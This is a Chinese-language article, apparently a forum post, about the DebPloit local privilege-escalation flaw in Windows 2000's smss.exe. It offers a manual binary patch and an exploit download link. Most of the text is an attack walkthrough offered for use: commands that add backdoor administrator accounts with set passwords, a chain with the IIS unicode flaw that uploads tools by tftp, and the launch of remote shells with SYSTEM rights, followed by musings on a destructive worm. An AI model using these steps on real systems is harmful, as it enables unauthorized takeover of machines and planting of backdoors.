Windows新漏洞将任意用户提升到SYSTEM级别的权限的方法
Windows又出了新漏洞,可以将任意用户提升到SYSTEM级别的权限。漏洞出在smss.exe中的DEBUG子系统,所有普通用户都可以通过该漏洞获得对系统中任意进程或线程句柄的控制,从而可以以SYSTEM或管理员权限执行任意命令。
EliCZ同时发布了一个程序DebPloit,可以利用这个程序让任何人获得任何进程或者线程的句柄,从而可以让任何用户都能获得系统的最高权限,
即使是一个GUEST或者其他的任何普通用户。
解决办法:
? 目前为止,微软公司已经接到了相关的通知,但还没有就这个漏洞发布
任何补丁。
提供了下面的方法来修补该漏洞,注意漏洞发布者提供的办法是修改文件
smss.exe,请确认有修改必要,否则尽量等待微软推出相应的补丁程序:
??1) 编辑%systemroot%\system32\smss.exe文件
??2) 找到字符串"\DbgSsApiPort"的偏移量.
??3) 在代码中找到相关注释
??4) 在注释下面,而在调用NtCreatePort之前,是
OBJECT_ATTRIBUTES结构内容.
??5) 将OBJECT_ATTRIBUTES结构的安全描述符置为空(by using the
register that contains 0)
??6) 然后正确置对PE的校验和
??7) 然后重新启动。
测试软件: http://202.103.196.104/any/Fluxay/DebPloit.zip
方法:
一.本地主机
下载软件DebPloit.exe,以普通的用户test登陆,然后运行DebPloit.exe
Erunasx "net localgroup administrators test /add"
二.远程的主机
1.如果想在远程的主机上通过普通的用户(test)拿到system权限的,可以结合一些漏洞比如:一些iis漏洞
我们以unicode漏洞为例。
首先在本地构造一个构造一个bat文件名字为:boy.bat
net user test doudou /add -----------加个用户密码为:doudou
net localgroup administrators test /add ------ 添加到本地管理员组
net user boy doudou /add --------------再加一个用户密码为:doudou
net localgroup administrators boy /add --------同样添加到本地管理员组
我们做好这些之后,利用unicode漏洞tftp上去erunasx.exe erunasx.dll 和上面描述的bat文件。
至于你能否上传成功,那要看你自己了。
上传成功之后然后想办法通过iis在web
浏览器运行命令erunasx.exe t.bat 然后就添加了我们在bat文件中制定的
test用户。经过流光的种植者测试上传了一个shell.exe。
现在unicode漏洞也好用了。以前经常遇到的情况就是即使上传了文件因为
权限太低不能运行。这样的话,我们的test用户已经成功的成为administrators成员了。
注意:通过IIS执行的时候,有这样一个问题:只能够执行一次。第二次执行需要重启系统
只能利用一次erunasx.exe 其实我们完全可以上传运行ncx.exe或者winshell.exe
然后得到的shell就是system权限了,telnet上去之后就可以完全的控制了。
2.普通可以远程得到telnet,运行NTLM,改为明文方式认证。普通用户就可以telnet登录了。
然后以test普通用户运行Erunasx "net localgroup administrators test /add" ,程序会没有反应
但是,当你再次telnet进去的时候,net localgroup administrators发现test已经是在administrators
至于你怎么把文件弄到远程主机上,呵呵自己想办法吧。。英文版的2000 Server, 中文版2000 Server
均测试成功。
后话:
这个漏洞的工具出来了,那么同样也可以完全的利用这个漏洞写病毒。
以前的红色代码和蓝色代码恶作剧就是扫描+寄生+开共享(再扫描)。
现在出了DebPloit可能出现的病毒模式是:
扫描+寄生+随机扫描可寄生机器然后format或者添加一些后门程序。
就是说理论上可以创造出来一种完全摧毁win2000做web服务器的病毒。